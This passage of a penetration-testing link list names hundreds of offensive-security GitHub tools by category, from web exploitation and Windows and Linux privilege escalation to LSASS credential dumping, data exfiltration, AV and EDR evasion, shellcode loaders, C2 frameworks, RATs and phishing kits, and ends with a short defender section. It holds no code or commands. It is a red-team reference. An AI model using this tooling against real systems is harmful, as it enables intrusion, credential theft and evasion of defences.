https://github.com/FatRodzianko/Get-RBCD-Threaded - Tool to discover Resource-Based Constrained Delegation attack paths in Active Directory environments
https://github.com/NinjaStyle82/rbcd_permissions - Add SD for controlled computer object to a target object for RBCD using LDAP
# Persistence on windows
https://github.com/fireeye/SharPersist
https://github.com/outflanknl/SharpHide
https://github.com/HarmJ0y/DAMP - The Discretionary ACL Modification Project: Persistence Through Host-based Security Descriptor Modification
# Web Application Pentest
# Framework Discovery
https://github.com/Tuhinshubhra/CMSeeK
https://github.com/Dionach/CMSmap - Wordpress, Joomla, Drupal Scanner
https://github.com/wpscanteam/wpscan
https://github.com/Ekultek/WhatWaf
# Framework Scanner / Exploitation
https://github.com/wpscanteam/wpscan - wordpress
https://github.com/n00py/WPForce
https://github.com/m4ll0k/WPSeku
https://github.com/swisskyrepo/Wordpresscan
https://github.com/rastating/wordpress-exploit-framework
https://github.com/coldfusion39/domi-owned - lotus domino
https://github.com/droope/droopescan - Drupal
https://github.com/whoot/Typo-Enumerator - Typo3
https://github.com/rezasp/joomscan - Joomla
# Web Vulnerability Scanner / Burp Plugins
https://github.com/m4ll0k/WAScan - all in one scanner
https://github.com/s0md3v/XSStrike - XSS discovery
https://github.com/federicodotta/Java-Deserialization-Scanner
https://github.com/d3vilbug/HackBar
https://github.com/gyoisamurai/GyoiThon
https://github.com/snoopysecurity/awesome-burp-extensions
https://github.com/sting8k/BurpSuite_403Bypasser - Burpsuite Extension to bypass 403 restricted directory
https://github.com/BishopFox/GadgetProbe - Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths.
# Network- / Service-level Vulnerability Scanner
https://github.com/scipag/vulscan
https://github.com/zdresearch/OWASP-Nettacker
# File / Directory / Parameter discovery
https://github.com/OJ/gobuster
https://github.com/nccgroup/dirble
https://github.com/maK-/parameth
https://github.com/devanshbatham/ParamSpider - Mining parameters from dark corners of Web Archives
https://github.com/s0md3v/Arjun - :heartpulse:
https://github.com/Cillian-Collins/dirscraper - Directory lookup from Javascript files
https://github.com/hannob/snallygaster
https://github.com/maurosoria/dirsearch
https://github.com/s0md3v/Breacher - Admin Panel Finder
https://github.com/mazen160/server-status_PWN
# Crawler
https://github.com/s0md3v/Photon - :heartpulse:
https://github.com/kgretzky/dcrawl
https://github.com/lc/gau - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl.
# Web Exploitation Tools
https://github.com/OsandaMalith/LFiFreak - lfi
https://github.com/enjoiz/XXEinjector - xxe
https://github.com/tennc/webshell - shellz
https://github.com/flozz/p0wny-shell
https://github.com/epinna/tplmap - ssti
https://github.com/orf/xcat - xpath injection
https://github.com/almandin/fuxploider - File Uploads
https://github.com/nccgroup/freddy - deserialization
https://github.com/irsdl/IIS-ShortName-Scanner - IIS Short Filename Vuln. exploitation
https://github.com/frohoff/ysoserial - Deserialize Java Exploitation
https://github.com/pwntester/ysoserial.net - Deserialize .NET Exploitation
https://github.com/internetwache/GitTools - Exploit .git Folder Existence
https://github.com/cujanovic/SSRF-Testing - SSRF Tutorials
https://github.com/ambionics/phpggc - PHP Unserialize Payload generator
https://github.com/BuffaloWill/oxml_xxe - Malicious Office XXE payload generator
https://github.com/tijme/angularjs-csti-scanner - Angularjs Csti Scanner
https://github.com/0xacb/viewgen - Deserialize .NET Viewstates
https://github.com/Illuminopi/RCEvil.NET - Deserialize .NET Viewstates
# REST API Audit
https://github.com/microsoft/restler-fuzzer - RESTler is the first stateful REST API fuzzing tool for automatically testing cloud services through their REST APIs and finding security and reliability bugs in these services.
https://github.com/flipkart-incubator/Astra
# SAML Login
https://github.com/LuemmelSec/SAML2Spray - Python Script for SAML2 Authentication Passwordspray
# Swagger File API Attack
https://github.com/imperva/automatic-api-attack-tool
# Windows Privilege Escalation / Audit
https://github.com/itm4n/PrivescCheck - Privilege Escalation Enumeration Script for Windows
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS - powerfull Privilege Escalation Check Script with nice output
https://github.com/AlessandroZ/BeRoot
https://github.com/rasta-mouse/Sherlock
https://github.com/hfiref0x/UACME - UAC
https://github.com/rootm0s/WinPwnage - UAC
https://github.com/abatchy17/WindowsExploits
https://github.com/dafthack/HostRecon
https://github.com/sensepost/rattler - find vulnerable dlls for preloading attack
https://github.com/WindowsExploits/Exploits
https://github.com/Cybereason/siofra - dll hijack scanner
https://github.com/0xbadjuju/Tokenvator - admin to system
https://github.com/MojtabaTajik/Robber
https://github.com/411Hall/JAWS
https://github.com/GhostPack/SharpUp
https://github.com/GhostPack/Seatbelt
https://github.com/A-mIn3/WINspect
https://github.com/hausec/ADAPE-Script
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/bitsadmin/wesng
https://github.com/rasta-mouse/Watson
# Windows Privilege Abuse (Privilege Escalation)
https://github.com/gtworek/Priv2Admin - Abuse Windows Privileges
https://github.com/itm4n/UsoDllLoader - load malicious dlls from system32
https://github.com/TsukiCTF/Lovely-Potato - Exploit potatoes with automation
https://github.com/antonioCoco/RogueWinRM - from Service Account to System
https://github.com/antonioCoco/RoguePotato - Another Windows Local Privilege Escalation from Service Account to System
https://github.com/itm4n/PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019
https://github.com/BeichenDream/BadPotato - itm4ns Printspoofer in C#
https://github.com/itm4n/FullPowers - Recover the default privilege set of a LOCAL/NETWORK SERVICE account
# T3 Enumeration
https://github.com/quentinhardy/jndiat
# Linux Privilege Escalation / Audit
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS - powerfull Privilege Escalation Check Script with nice output
https://github.com/mzet-/linux-exploit-suggester
https://github.com/rebootuser/LinEnum
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/CISOfy/lynis
https://github.com/AlessandroZ/BeRoot
https://github.com/future-architect/vuls
https://github.com/ngalongc/AutoLocalPrivilegeEscalation
https://github.com/b3rito/yodo
https://github.com/belane/linux-soft-exploit-suggester - lookup vulnerable installed software
https://github.com/sevagas/swap_digger
https://github.com/NullArray/RootHelper
https://github.com/NullArray/MIDA-Multitool
https://github.com/initstring/dirty_sock
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/sosdave/KeyTabExtract
https://github.com/DominicBreuker/pspy
https://github.com/itsKindred/modDetective
https://github.com/nongiach/sudo_inject
https://github.com/Anon-Exploiter/SUID3NUM - find suid bins and look them up under gtfobins / exploitable or not
https://github.com/nccgroup/GTFOBLookup - Offline GTFOBins
https://github.com/TH3xACE/SUDO_KILLER - sudo misconfiguration exploitation
https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
https://github.com/inquisb/unix-privesc-check
https://github.com/hc0d3r/tas - easily manipulate the tty and create fake binaries
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/initstring/uptux
https://github.com/andrew-d/static-binaries - not really privesc but helpfull
# Exfiltration
## Credential harvesting Windows Specific
https://github.com/gentilkiwi/mimikatz
https://github.com/GhostPack/SafetyKatz
https://github.com/Flangvik/BetterSafetyKatz - Fork of SafetyKatz that dynamically fetches the latest pre-compiled release of Mimikatz directly from gentilkiwi GitHub repo, runtime patches signatures and uses SharpSploit DInvoke to PE-Load into memory.
https://github.com/GhostPack/Rubeus
https://github.com/Arvanaghi/SessionGopher
https://github.com/peewpw/Invoke-WCMDump
https://github.com/tiagorlampert/sAINT
https://github.com/AlessandroZ/LaZagneForensic - remote lazagne
https://github.com/eladshamir/Internal-Monologue
https://github.com/djhohnstein/SharpWeb - Browser Creds gathering
https://github.com/moonD4rk/HackBrowserData - hack-browser-data is an open-source tool that could help you decrypt data[passwords|bookmarks|cookies|history] from the browser.
https://github.com/mwrlabs/SharpClipHistory - ClipHistory feature get the last 25 copy paste actions
https://github.com/outflanknl/Dumpert - dump lsass using direct system calls and API unhooking
https://github.com/b4rtik/SharpMiniDump - Create a minidump of the LSASS process from memory - using Dumpert
https://github.com/b4rtik/ATPMiniDump - Evade WinDefender ATP credential-theft
https://github.com/aas-n/spraykatz - remote procdump.exe, copy dump file to local system and pypykatz for analysis/extraction
https://github.com/0x09AL/RdpThief - extract live rdp logins
https://github.com/chrismaddalena/SharpCloud - Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute.
https://github.com/djhohnstein/SharpChromium - .NET 4.0 CLR Project to retrieve Chromium data, such as cookies, history and saved logins.
https://github.com/jfmaes/SharpHandler - This project reuses open handles to lsass to parse or minidump lsass
https://github.com/V1V1/SharpScribbles - ThunderFox for Firefox Credentials, SitkyNotesExtract for "Notes as passwords"
https://github.com/securesean/DecryptAutoLogon - Command line tool to extract/decrypt the password that was stored in the LSA by SysInternals AutoLogon
https://github.com/G0ldenGunSec/SharpSecDump - .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py
https://github.com/EncodeGroup/Gopher - C# tool to discover low hanging fruits like SessionGopher
https://github.com/GhostPack/SharpDPAPI - DPAPI Creds via C#
### LSASS Dump Without Mimikatz
https://github.com/Hackndo/lsassy
https://github.com/aas-n/spraykatz
https://github.com/b4rtik/SharpKatz - C# porting of mimikatz sekurlsa::logonpasswords, sekurlsa::ekeys and lsadump::dcsync commands
## Credential harvesting Linux Specific
https://github.com/huntergregal/mimipenguin
https://github.com/n1nj4sec/mimipy
https://github.com/dirtycow/dirtycow.github.io
https://github.com/mthbernardes/sshLooterC - SSH Credential loot
https://github.com/blendin/3snake - SSH / Sudo / SU Credential loot
https://github.com/0xmitsurugi/gimmecredz
https://github.com/TarlogicSecurity/tickey - Tool to extract Kerberos tickets from Linux kernel keys.
## Data Exfiltration - DNS/ICMP/Wifi Exfiltration
https://github.com/FortyNorthSecurity/Egress-Assess
https://github.com/p3nt4/Invoke-TmpDavFS
https://github.com/DhavalKapil/icmptunnel
https://github.com/iagox86/dnscat2
https://github.com/Arno0x/DNSExfiltrator
https://github.com/spieglt/FlyingCarpet - Wifi Exfiltration
https://github.com/SECFORCE/Tunna - Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP
https://github.com/sysdream/chashell
https://github.com/no0be/DNSlivery - Easy files and payloads delivery over DNS
## Git Specific
https://github.com/dxa4481/truffleHog
https://github.com/zricethezav/gitleaks
https://github.com/adamtlangley/gitscraper
## Windows / Linux
https://github.com/AlessandroZ/LaZagne
https://github.com/Dionach/PassHunt
https://github.com/vulmon/Vulmap
# Reverse Engineering / decompiler
https://github.com/mattifestation/PowerShellArsenal
https://github.com/0xd4d/dnSpy - .NET Disassembler
https://github.com/NationalSecurityAgency/ghidra
https://github.com/icsharpcode/ILSpy
# Forensics
https://github.com/Invoke-IR/PowerForensics
https://github.com/Neo23x0/Loki
https://github.com/gfoss/PSRecon
# Network Attacks
https://github.com/bettercap/bettercap - :heartpulse:
https://github.com/SpiderLabs/Responder
https://github.com/lgandx/Responder - more up to date
https://github.com/evilsocket/bettercap - Deprecated but still good
https://github.com/r00t-3xp10it/morpheus
https://github.com/fox-it/mitm6
https://github.com/Kevin-Robertson/InveighZero - mitm6 in C# + Inveigh default features
https://github.com/DanMcInerney/LANs.py
## Specific MITM service Exploitation
https://github.com/jtesta/ssh-mitm - SSH
https://github.com/pimps/wsuxploit - WSUS
https://github.com/GoSecure/WSuspicious - WSuspicious - A tool to abuse insecure WSUS connections for privilege escalations
https://github.com/GoSecure/pywsus - WSUS mitm - Standalone implementation of a part of the WSUS spec. Built for offensive security purposes.
https://github.com/SySS-Research/Seth - RDP
https://github.com/GoSecure/pyrdp - RDP man-in-the-middle (mitm) and library for Python with the ability to watch connections live or after the fact
https://github.com/infobyte/evilgrade - Fake Updates for various Software
https://github.com/samdenty/injectify - web application live recording, keystroke logger
https://github.com/skorov/ridrelay - User Enumeration with SMB Relay Attacks
https://github.com/Kevin-Robertson/Invoke-TheHash
## Sniffing / Evaluation / Filtering
https://github.com/DanMcInerney/net-creds
https://github.com/odedshimon/BruteShark -
https://github.com/lgandx/PCredz
https://github.com/Srinivas11789/PcapXray
# Red-Team SIEM
https://github.com/outflanknl/RedELK - Red Team's SIEM - tool for Red Teams used for tracking and alarming about Blue Team activities as well as better usability in long term operations.
# Scanner / Exploitation-Frameworks / Automation
https://github.com/threat9/routersploit
https://github.com/nccgroup/autopwn
https://github.com/1N3/Sn1per
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/Cn33liz/p0wnedShell
https://github.com/archerysec/archerysec
https://github.com/vulnersCom/nmap-vulners
https://github.com/m4ll0k/AutoNSE - automate nmap with scripting capabilities
https://github.com/v3n0m-Scanner/V3n0M-Scanner
https://github.com/zdresearch/OWASP-Nettacker
## Default Credential Scanner
https://github.com/ztgrace/changeme
https://github.com/InfosecMatter/default-http-login-hunter - Login hunter of default credentials for administrative web interfaces leveraging NNdefaccts dataset.
https://github.com/FortyNorthSecurity/EyeWitness
https://github.com/byt3bl33d3r/WitnessMe - screenshot for webservers
## Default Credential Lookup
https://github.com/Viralmaniar/Passhunt
# Payload Generation / AV-Evasion / Malware Creation
https://github.com/nccgroup/Winpayloads
https://github.com/Screetsec/TheFatRat
https://github.com/xillwillx/tricky.lnk
https://github.com/trustedsec/unicorn
https://github.com/z0noxz/powerstager
https://github.com/curi0usJack/luckystrike
https://github.com/enigma0x3/Generate-Macro
https://github.com/Cn33liz/JSMeter
https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
https://github.com/Cn33liz/StarFighters
https://github.com/BorjaMerino/Pazuzu
https://github.com/mwrlabs/wePWNise
https://github.com/Mr-Un1k0d3r/UniByAv
https://github.com/govolution/avet
https://github.com/Pepitoh/VBad
https://github.com/mdsecactivebreach/CACTUSTORCH
https://github.com/D4Vinci/Dr0p1t-Framework
https://github.com/g0tmi1k/msfpc
https://github.com/bhdresh/CVE-2017-0199 - Office RCE POC
https://github.com/GreatSCT/GreatSCT
https://github.com/mthbernardes/rsg - reverse shell generator
https://github.com/sevagas/macro_pack
https://github.com/mdsecactivebreach/SharpShooter
https://github.com/hlldz/SpookFlare
https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads
https://github.com/paranoidninja/CarbonCopy - Sign an executable for AV-Evasion
https://github.com/peewpw/Invoke-PSImage
https://github.com/Arvanaghi/CheckPlease - Sandbox Evasion techniques
https://github.com/trustedsec/nps_payload
https://github.com/stormshadow07/HackTheWorld
https://github.com/r00t-3xp10it/FakeImageExploiter
https://github.com/nccgroup/demiguise - Encrypted HTA Generation
https://github.com/med0x2e/genxlm
https://github.com/med0x2e/GadgetToJScript
https://github.com/rasta-mouse/GadgetToJScript - Optimized GadgetToJScript version
https://github.com/EgeBalci/sgn - Shikata ga nai (仕方がない) encoder ported into go with several improvements
https://github.com/matterpreter/spotter - Spotter is a tool to wrap payloads in environmentally-keyed, AES256-encrypted launchers.
https://github.com/s0lst1c3/dropengine - Malleable payload generation framework.
https://github.com/gigajew/PowerDropper - Build Powershell Script from .NET Executable
https://github.com/FortyNorthSecurity/EXCELntDonut - Excel 4.0 (XLM) Macro Generator for injecting DLLs and EXEs into memory.
https://github.com/Greenwolf/ntlm_theft - A tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)
https://github.com/phackt/stager.dll - AES Encrypt payloads
https://github.com/Arno0x/EmbedInHTML - Embed and hide any file in an HTML file
https://github.com/bats3c/darkarmour - AES Encrypt C/C++ Compiled binaries and decrypt at runtime
https://github.com/christophetd/spoofing-office-macro - PoC of a VBA macro spawning a process with a spoofed parent and command line.
https://github.com/infosecn1nja/MaliciousMacroMSBuild - Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
https://github.com/outflanknl/EvilClippy - A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.
https://github.com/FortyNorthSecurity/EXCELntDonut - Excel 4.0 (XLM) Macro Generator for injecting DLLs and EXEs into memory.
https://github.com/michaelweber/Macrome - Excel Macro Document Reader/Writer for Red Teamers & Analysts
https://github.com/CCob/PwnyForm - PwnyForm will take an MSI installer as input and generate an MSI transform (mst) that can be used to inject arbitrary command execution by adding a custom action that will execute during the UI or Install sequence of an MSI file.
https://github.com/fireeye/OfficePurge - VBA purge your Office documents with OfficePurge. VBA purging removes P-code from module streams within Office documents. Documents that only contain source code and no compiled code are more likely to evade AV detection and YARA rules.
https://github.com/TestingPens/CPLDropper - A Control Panel Applet dropper project. It has a high success rate on engagements since nobody cares about .CPL files and you can just double click them.
https://github.com/FortyNorthSecurity/hot-manchego - Macro-Enabled Excel File Generator (.xlsm) using the EPPlus Library.
# Shellcode Injection
https://github.com/TheWover/donut - Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters
https://github.com/rasta-mouse/RuralBishop - D/Invoke port of UrbanBishop
https://github.com/slyd0g/UrbanBishopLocal - A port of FuzzySecurity's UrbanBishop project for inline shellcode execution
https://github.com/FuzzySecurity/Sharp-Suite/tree/master/UrbanBishop - Donut for Shellcode Injection
https://github.com/antonioCoco/Mapping-Injection - Mapping injection is a process injection technique that avoids the usage of common monitored syscall VirtualAllocEx, WriteProcessMemory and CreateRemoteThread.
https://github.com/SolomonSklash/SyscallPOC - Shellcode injection POC using syscalls.
https://github.com/Arno0x/ShellcodeWrapper - Shellcode wrapper with encryption for multiple target languages
https://github.com/Ne0nd0g/go-shellcode - A repository of Windows Shellcode runners and supporting utilities. The applications load and execute Shellcode using various API calls or techniques.
https://github.com/djhohnstein/CSharpSetThreadContext - C# Shellcode Runner to execute shellcode via CreateRemoteThread and SetThreadContext to evade Get-InjectedThread
https://github.com/pwndizzle/c-sharp-memory-injection - A set of scripts that demonstrate how to perform memory injection in C#
https://github.com/jthuraisamy/SysWhispers2 - SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.
https://github.com/knownsec/shellcodeloader - CreateThreadpoolWait, Fiber Load, NtTestAlert Load, SEH Except Load, TLS CallBack Load, Dynamic Load, Dynamic Load plus, Syscall Load, APC-Inject Load, Early Brid APC-Inject Load, NtCreateSection-Inject Load, OEP Hiijack-Inject Load, Thread Hiijack-Inject Load
https://github.com/djhohnstein/ScatterBrain - Suite of Shellcode Running Utilities
https://github.com/D00MFist/Go4aRun - Shellcode runner in GO that incorporates shellcode encryption, remote process injection, block dlls, and spoofed parent process
https://github.com/sh4hin/GoPurple - Yet another shellcode runner consists of different techniques for evaluating detection capabilities of endpoint security solutions
https://github.com/C-Sto/BananaPhone - It's a go variant of Hells gate! (directly calling windows kernel functions, but from Go!)
https://github.com/3xpl01tc0d3r/ProcessInjection - This program is designed to demonstrate various process injection techniques
# Loader / Packer / Injectors
https://github.com/med0x2e/ExecuteAssembly - Load/Inject .NET assemblies by; reusing the host (spawnto) process loaded CLR AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules, bypassing ETW+AMSI, avoiding EDR hooks via NT static syscalls (x64) and hiding imports by dynamically resolving APIs (hash)
https://github.com/EgeBalci/amber - Reflective PE packer.
https://github.com/djhohnstein/ScatterBrain - Suite of Shellcode Running Utilities
https://github.com/phra/PEzor - Open-Source PE Packer
# EDR Evasion - Logging Evasion
https://github.com/CCob/SharpBlock - A method of bypassing EDR's active projection DLL's by preventing entry point execution
https://github.com/bats3c/Ghost-In-The-Logs - Evade sysmon and windows event logging
https://github.com/am0nsec/SharpHellsGate - C# Implementation of the Hell's Gate VX Technique
https://github.com/am0nsec/HellsGate - Original C Implementation of the Hell's Gate VX Technique
https://github.com/3gstudent/Windows-EventLog-Bypass - C++ Version of Invoke-Phantom
https://github.com/Soledge/BlockEtw - .Net Assembly to block ETW telemetry in current process
https://github.com/ionescu007/faxhell - A Bind Shell Using the Fax Service and a DLL Hijack
https://github.com/realoriginal/ppdump-public - Protected Process (Light) Dump: Uses Zemana AntiMalware Engine To Open a Privileged Handle to a PP/PPL Process And Inject MiniDumpWriteDump() Shellcode
https://github.com/bats3c/EvtMute - This is a tool that allows you to offensively use YARA to apply a filter to the events being reported by windows event logging.
## Useful Binary Modification tools
https://github.com/hasherezade/exe_to_dll
https://github.com/hasherezade/dll_to_exe
https://github.com/hasherezade/pe_to_shellcode
## Android
https://github.com/sensepost/kwetza
# External Penetration Testing
## Domain Finding / Subdomain Enumeration
https://github.com/aboul3la/Sublist3r
https://github.com/TheRook/subbrute
https://github.com/michenriksen/aquatone
https://github.com/darkoperator/dnsrecon
https://github.com/fwaeytens/dnsenum
https://github.com/s0md3v/Striker + Scanner
https://github.com/leebaird/discover
https://github.com/eldraco/domain_analyzer - more like an audit
https://github.com/caffix/amass - :heartpulse:
https://github.com/subfinder/subfinder
https://github.com/TypeError/domained
https://github.com/SilverPoision/Rock-ON
## File Search / Metadata extraction
https://github.com/dafthack/PowerMeta
https://github.com/ElevenPaths/FOCA
## Scanner
https://github.com/vesche/scanless
https://github.com/1N3/Sn1per
https://github.com/DanMcInerney/pentest-machine
https://github.com/jaeles-project/jaeles - The Swiss Army knife for automated Web Application Testing
## Email Gathering
https://github.com/leapsecurity/InSpy
https://github.com/dchrastil/ScrapedIn
https://github.com/SimplySecurity/SimplyEmail
https://github.com/clr2of8/GatherContacts
https://github.com/s0md3v/Zen - Find Emails of Github Users
https://github.com/m8r0wn/CrossLinked - super fast emails via google/bing linkedin dorks
https://github.com/m4ll0k/Infoga
https://github.com/navisecdelta/EmailGen - A simple email generator that uses dorks on Bing to generate emails from LinkedIn Profiles.
## Check Email Accounts
https://github.com/megadose/holehe - allows you to check if the mail is used on different sites like twitter, instagram and will retrieve information on sites with the forgotten password function.
## Domain Auth + Exploitation
https://github.com/nyxgeek/o365recon
https://github.com/gremwell/o365enum - Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page.
https://github.com/dafthack/MSOLSpray - A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
https://github.com/sachinkamath/NTLMRecon - Tool to enumerate information from NTLM authentication enabled web endpoints
https://github.com/ustayready/fireprox - rotate IP Adresses over AWS - Combine with MSOLSpray
https://github.com/True-Demon/raindance - office 365 recon
https://github.com/dafthack/MailSniper
https://github.com/sensepost/ruler
https://github.com/Greenwolf/Spray - lockout Time integrated
https://github.com/nyxgeek/lyncsmash - Lync Credential Finder
https://github.com/byt3bl33d3r/SprayingToolkit - Scripts to make password spraying attacks against Lync/S4B & OWA a lot quicker, less painful and more efficient
https://github.com/mdsecresearch/LyncSniper - Lync Credential Finder
https://github.com/3gstudent/easBrowseSharefile - Use to browse the share file by eas(Exchange Server ActiveSync)
https://github.com/FSecureLABS/peas - PEAS is a Python 2 library and command line application for running commands on an ActiveSync server e.g. Microsoft Exchange.
https://github.com/snovvcrash/peas - Modified version of PEAS client for offensive operations - https://snovvcrash.rocks/2020/08/22/tuning-peas-for-fun-and-profit.html
https://github.com/RedLectroid/OutlookSend - A C# tool to send emails through Outlook from the command line or in memory
https://github.com/nccgroup/Carnivore - Tool for assessing on-premises Microsoft servers authentication such as ADFS, Skype, Exchange, and RDWeb
## Exchange RCE-exploits
https://github.com/Airboi/CVE-2020-17144-EXP - Exchange2010 authorized RCE
https://github.com/Ridter/cve-2020-0688 - OWA Deserialisation RCE
## MobileIron RCE
https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505
# Specific Service Scanning / Exploitation
## Login Brute Force + Wordlist attacks
https://github.com/galkan/crowbar - Brute force non hydra compliant services - RDP, VNC, OpenVPN
https://github.com/1N3/BruteX - Brute Force various services
https://github.com/x90skysn3k/brutespray - :sunglasses:
https://github.com/DarkCoderSc/win-brute-logon - Crack any Microsoft Windows users password without any privilege (Guest account included)
https://github.com/lanjelot/patator
https://github.com/dafthack/RDPSpray - RDP Password Spray - No Event Logs
https://github.com/xFreed0m/RDPassSpray - Python3 tool to perform password spraying using RDP
## SNMP
https://github.com/hatlord/snmpwn
## Open X11
https://github.com/sensepost/xrdp
## Printers
https://github.com/RUB-NDS/PRET
https://github.com/BusesCanFly/PRETty - Automation for PRET
## MSSQL
https://github.com/quentinhardy/msdat
## Oracle
https://github.com/quentinhardy/odat
## IKE
https://github.com/SpiderLabs/ikeforce
## SMB Null Session Exploitation
https://github.com/m8r0wn/nullinux
## iLO Exploitation
https://github.com/airbus-seclab/ilo4_toolbox
https://www.exploit-db.com/exploits/44005
## vmware vCenter Exploits
https://github.com/guardicore/vmware_vcenter_cve_2020_3952 - Exploit for CVE-2020-3952 in vCenter 6.7
## Intel AMT Exploitation
https://github.com/Coalfire-Research/DeathMetal
## SAP Exploitation
https://github.com/comaeio/OPCDE
https://github.com/gelim/sap_ms
https://github.com/chipik/SAP_GW_RCE_exploit
## FPM port
Found Port 9001 open? Try that:
https://github.com/hannob/fpmvuln - bash poc scripts to exploit open fpm ports
## Weblogic Exploitation
https://github.com/0xn0ne/weblogicScanner - scan/test for nearly all weblogic vulns
https://github.com/quentinhardy/jndiat - WEblogic Server Tests
https://github.com/kingkaki/weblogic-scan
https://github.com/FlyfishSec/weblogic_rce - cve-2019-2725
https://github.com/SukaraLin/CVE-2019-2890
https://github.com/1337g/CVE-2017-10271
https://github.com/LandGrey/CVE-2018-2894
https://github.com/Y4er/CVE-2020-2551
## Sharepoint exploitation
https://github.com/sensepost/SPartan - Sharepoint Fingerprint + Exploitation
https://github.com/Voulnet/desharialize
## Telerik UI for ASP.NET AJAX Exploit
https://github.com/noperator/CVE-2019-18935
## General Recon
https://github.com/FortyNorthSecurity/EyeWitness
## Solarwinds
https://github.com/mubix/solarflare - SolarWinds Orion Account Audit / Password Dumping Utility
# Command & Control Frameworks
https://github.com/n1nj4sec/pupy
https://github.com/nettitude/PoshC2
https://github.com/FortyNorthSecurity/WMImplant
https://github.com/quasar/QuasarRAT
https://github.com/EmpireProject/Empire
https://github.com/zerosum0x0/koadic
https://github.com/Mr-Un1k0d3r/ThunderShell
https://github.com/Ne0nd0g/merlin
https://github.com/Arno0x/WebDavC2
https://github.com/malwaredllc/byob
https://github.com/byt3bl33d3r/SILENTTRINITY
https://github.com/Arno0x/WSC2
https://github.com/BC-SECURITY/Empire - Empire with embedded AMSI-Bypass
https://github.com/cobbr/Covenant
https://github.com/BishopFox/sliver - Implant framework
https://github.com/bats3c/shad0w - A post exploitation framework designed to operate covertly on heavily monitored environments
https://github.com/FSecureLABS/C3 - Custom Command and Control (C3). A framework for rapid prototyping of custom C2 channels, while still providing integration with existing offensive toolkits.
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp - Open-Source Remote Administration Tool For Windows C# (RAT)
https://github.com/its-a-feature/Mythic
## Mythic Agents
https://github.com/MythicAgents/Apollo
https://github.com/MythicAgents/Nimplant
# Cobalt Strike Stuff
https://github.com/DeEpinGh0st/Erebus
https://github.com/aleenzz/Cobalt_Strike_wiki
https://github.com/FortyNorthSecurity/C2concealer
https://github.com/invokethreatguy/AggressorCollection
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/mgeeky/cobalt-arsenal - My collection of battle-tested Aggressor Scripts for Cobalt Strike 4.0+
# Android
https://github.com/AhMyth/AhMyth-Android-RAT
# Linux MacOSX Specific
https://github.com/neoneggplant/EggShell
# Wifi Tools
https://github.com/wifiphisher/wifiphisher
https://github.com/P0cL4bs/WiFi-Pumpkin
https://github.com/s0lst1c3/eaphammer
https://github.com/h0nus/RogueSploit
https://github.com/Tylous/SniffAir
https://github.com/FluxionNetwork/fluxion
https://github.com/derv82/wifite2
https://github.com/ICSec/airpwn-ng
https://github.com/xdavidhu/mitmAP
https://github.com/ZerBea/hcxdumptool
# Android / Nethunter
https://github.com/faizann24/wifi-bruteforcer-fsecurify
https://github.com/chrisk44/Hijacker
# NAT Slipstreaming
https://github.com/samyk/slipstream - NAT Slipstreaming allows an attacker to remotely access any TCP/UDP services bound to a victim machine, bypassing the victim’s NAT/firewall, just by the victim visiting a website
# Raspberri PI Exploitation
https://github.com/secgroundzero/warberry
https://github.com/samyk/poisontap
https://github.com/mame82/P4wnP1
https://github.com/mame82/P4wnP1_aloa
https://github.com/pi-hole/pi-hole
# Physical Security / HID/ETH Emulator
https://github.com/carmaa/inception - PCI-based DMA
https://github.com/samratashok/Kautilya
https://github.com/ufrisk/pcileech - PCI based DMA
https://github.com/Screetsec/Brutal - Teensy Payloads
https://github.com/insecurityofthings/jackit
https://github.com/BastilleResearch/mousejack
# Social Engeneering
https://github.com/kgretzky/evilginx
https://github.com/threatexpress/domainhunter
https://github.com/netevert/dnsmorph - lookup valid phishing-Domains
https://github.com/elceef/dnstwist - lookup valid phishing-Domains
https://github.com/quickbreach/SMBetray - Change SMB Files on the fly
https://github.com/SteveLTN/https-portal
https://github.com/ryhanson/phishery
https://github.com/curtbraz/Phishing-API - Comprehensive Web Based Phishing Suite of Tools for Rapid Deployment and Real-Time Alerting!
# Defender Guides / Tools / Incident Response
https://github.com/cisagov/Sparrow - Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment.
https://github.com/meirwah/awesome-incident-response
https://github.com/CredDefense/CredDefense - Credential and Red Teaming Defense for Windows Environments
https://github.com/PaulSec/awesome-windows-domain-hardening
https://github.com/ernw/hardening
https://github.com/Invoke-IR/Uproot
https://github.com/danielbohannon/Revoke-Obfuscation - powershell obfuscation detection
https://github.com/countercept/python-exe-unpacker - python exe decompile
https://github.com/0xd4d/de4dot - .NET Revoke-Obfuscation
https://github.com/securitywithoutborders/hardentools
https://github.com/x0rz/phishing_catcher
https://github.com/Ben0xA/PowerShellDefense
https://github.com/emposha/PHP-Shell-Detector
https://github.com/LordNoteworthy/al-khaser
